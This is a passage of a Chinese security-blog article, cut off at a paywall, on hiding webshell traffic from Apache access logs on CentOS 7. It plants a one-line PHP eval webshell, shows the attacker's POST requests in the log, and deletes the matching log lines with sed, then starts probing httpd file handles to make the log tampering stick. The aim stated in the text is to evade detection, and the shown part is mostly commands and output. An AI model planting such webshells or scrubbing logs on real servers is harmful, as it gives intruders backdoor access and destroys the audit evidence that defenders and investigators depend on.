freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

分别从用户层和内核层绕过webshell访问日志
mmsec1 2023-10-02 11:51:02 149658

分别从用户层和内核层绕过webshell访问日志

最近在研究webshell隐藏的实现,一方面是对webshell文件的隐藏,另一方面是对访问日志的隐藏。Webshell文件的隐藏已经有了很多文章,memshell、rootkit都可以实现,但对访问日志的隐藏还比较少,所以决定针对这个点进行研究。

以access_log这个日志文件为例,分别从用户层和内核层对其进行隐藏。用户层主要涉及了文件句柄覆盖相关知识,而内核层涉及了对linux内核源码的分析及系统函数的hook。因为内核函数的hook网上已经有成熟的框架可以使用,就不再赘述,在这里就重点对内核源码中和进程、文件句柄相关的部分进行分析。

1. 搭建apache服务器

测试的环境为centos7,版本信息:

$ uname -a
Linux 192.168.x.x 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/*release
CentOS Linux release 7.9.2009 (Core)
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"

CentOS Linux release 7.9.2009 (Core)
CentOS Linux release 7.9.2009 (Core)

安装php7,需要手动添加源:

$ yum install epel-release -y
$ rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm 
$ yum update
$ yum install php70w httpd

如果提示:

Last metadata expiration check: 0:01:57 ago on Tue 05 Sep 2023 02:50:58 AM EDT.
Error: 
 Problem: conflicting requests
  - nothing provides libcrypto.so.10()(64bit) needed by php70w-7.0.33-1.w7.x86_64 from webtatic
  - nothing provides libssl.so.10()(64bit) needed by php70w-7.0.33-1.w7.x86_64 from webtatic
  - nothing provides libssl.so.10(libssl.so.10)(64bit) needed by php70w-7.0.33-1.w7.x86_64 from webtatic
  - nothing provides libcrypto.so.10(libcrypto.so.10)(64bit) needed by php70w-7.0.33-1.w7.x86_64 from webtatic
  - nothing provides libcrypto.so.10(OPENSSL_1.0.1_EC)(64bit) needed by php70w-7.0.33-1.w7.x86_64 from webtatic
  - nothing provides libcrypto.so.10(OPENSSL_1.0.2)(64bit) needed by php70w-7.0.33-1.w7.x86_64 from webtatic
(try to add '--skip-broken' to skip uninstallable packages or '--nobest' to use not only best candidate packages)

需要手动额外安装ssl库

$ yum install openssl openssl-dev -y

查看apache的配置文件:

$ cat /etc/httpd/conf/httpd.conf |grep -vE "#|^$"
ServerRoot "/etc/httpd"
Listen 80
Include conf.modules.d/*.conf
User apache
Group apache
ServerAdmin root@localhost
<Directory />
    AllowOverride none
    Require all denied
</Directory>
DocumentRoot "/var/www/html"
<Directory "/var/www">
    AllowOverride None
    Require all granted
</Directory>
<Directory "/var/www/html">
    Options Indexes FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>
<IfModule dir_module>
    DirectoryIndex index.html
</IfModule>
<Files ".ht*">
    Require all denied
</Files>
ErrorLog "logs/error_log"
LogLevel warn
<IfModule log_config_module>
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common
    <IfModule logio_module>
      LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
    </IfModule>
    CustomLog "logs/access_log" common
    CustomLog "logs/access_log" combined
</IfModule>
<IfModule alias_module>
    ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
</IfModule>
<Directory "/var/www/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>
<IfModule mime_module>
    TypesConfig /etc/mime.types
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz
    AddType text/html .shtml
    AddOutputFilter INCLUDES .shtml
</IfModule>
AddDefaultCharset UTF-8
<IfModule mime_magic_module>
    MIMEMagicFile conf/magic
</IfModule>
EnableSendfile on
IncludeOptional conf.d/*.conf
LoadModule php7_module modules/libphp7.so

主要是要确保有最后一行:

LoadModule php7_module modules/libphp7.so

检查php的版本:

$ php -v
PHP 7.0.33 (cli) (built: Dec  6 2018 22:30:44) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies

配置完成后,创建phpinfo.php文件:

$ systemctl restart httpd

能够正确访问文件后,配置日志记录:

<IfModule log_config_module>
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common
    <IfModule logio_module>
      LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
    </IfModule>
    CustomLog "logs/access_log" common
    CustomLog "logs/access_log" combined
</IfModule>

最后检查/var/log/httpd下的access_log文件:

$ cat access_log |grep phpinfo.php
192.168.x.x - - [04/Sep/2023:18:43:09 -0700] "GET /phpinfo.php HTTP/1.1" 200 65609 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
192.168.x.x - - [05/Sep/2023:00:03:12 -0700] "GET /phpinfo.php HTTP/1.1" 200 65609 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"

2. 用户层日志清理

首先在html目录下种植一个一句话webshell:

$ cat webshell.php 
<?php @eval($_POST['meng']); ?>

根据webshell为关键字检查webshell的访问情况:

$ cat access_log |grep webshell
192.168.x.x - - [05/Sep/2023:00:09:50 -0700] "GET /webshell.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
192.168.x.x - - [05/Sep/2023:00:10:12 -0700] "POST /webshell.php HTTP/1.1" 200 120 "-" "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02"
192.168.x.x - - [05/Sep/2023:00:10:17 -0700] "POST /webshell.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
192.168.x.x - - [05/Sep/2023:00:10:19 -0700] "POST /webshell.php HTTP/1.1" 200 71 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36"
192.168.x.x - - [05/Sep/2023:00:11:20 -0700] "POST /webshell.php HTTP/1.1" 200 99 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36"
192.168.x.x - - [05/Sep/2023:00:11:22 -0700] "POST /webshell.php HTTP/1.1" 200 75 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)"
192.168.x.x - - [05/Sep/2023:00:11:25 -0700] "POST /webshell.php HTTP/1.1" 200 41 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205"
192.168.x.x - - [05/Sep/2023:00:11:25 -0700] "POST /webshell.php HTTP/1.1" 200 886 "-" "Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01"
192.168.x.x - - [05/Sep/2023:00:11:28 -0700] "POST /webshell.php HTTP/1.1" 200 87 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0"
192.168.x.x - - [05/Sep/2023:00:11:29 -0700] "POST /webshell.php HTTP/1.1" 200 885 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0)"
192.168.x.x - - [05/Sep/2023:00:11:34 -0700] "POST /webshell.php HTTP/1.1" 200 97 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36"

针对日志文件的清理,首先想到会是sed命令,通过以webshell.php为关键字进行过滤:

$ sed -i '/webshell/d' access_log 
$ cat access_log |grep webshell

当这个方法最大的问题是使用sed命令修改过文件后,虽然能直接删除webshell相关的行,导致后续日志无法继续写入:

$ ls -al access_log 
-rw-r--r--. 1 root root 5875 Sep  5 00:14 access_log
$ ls -al access_log 
-rw-r--r--. 1 root root 5875 Sep  5 00:14 access_log

无论如何访问,access_log都会固定在5875字节,除非重启apache服务器,才会继续写入日志。

针对这一现象,我决定进行深入分析,首先是检查文件的被打开的文件句柄情况:

$ lsof access_log 
COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF  NODE NAME
httpd   1707   root    7w   REG    8,3     7943 77025 access_log
httpd   1707   root    8w   REG    8,3     7943 77025 access_log
httpd   1708 apache    7w   REG    8,3     7943 77025 access_log
httpd   1708 apache    8w   REG    8,3     7943 77025 access_log
httpd   1709 apache    7w   REG    8,3     7943 77025 access_log
httpd   1709 apache    8w   REG    8,3     7943 77025 access_log
httpd   1710 apache    7w   REG    8,3     7943 77025 access_log
httpd   1710 apache    8w   REG    8,3     7943 77025 access_log
httpd   1711 apache    7w   REG    8,3     7943 77025 access_log
httpd   1711 apache    8w   REG    8,3     7943 77025 access_log
httpd   1712 apache    7w   REG    8,3     7943 77025 access_log
httpd   1712 apache    8w   REG    8,3     7943 77025 access_log
httpd   1824 apache    7w   REG    8,3     7943 77025 access_log
httpd   1824 apache    8w   REG    8,3     7943 77025 access_log
httpd   1825 apache    7w   REG    8,3     7943 77025 access_log
httpd   1825 apache    8w   REG    8,3     7943 77025 access_log
httpd   1826 apache    7w   REG    8,3     7943 77025 access_log
httpd   1826 apache    8w   REG    8,3     7943 77025 access_log

可以看到所有对access_log的访问都源自httpd的这个进程,利用ps对httpd这个进程名进行过滤:

$ ps -auxf|grep httpd
root       1844  0.0  0.0 112812   980 pts/0    S+   00:25   0:00          \_ grep --color=auto httpd
root       1707  0.0  1.3 338796 13876 ?        Ss   00:22   0:00 /usr/sbin/httpd -DFOREGROUND
apache     1708  0.0  0.8 341012  8816 ?        S    00:22   0:00
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# webshell检测 # 安全日志分析 # 内核钩子 # Linux内核 # linunx内核
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 mmsec1 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
mmsec1 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录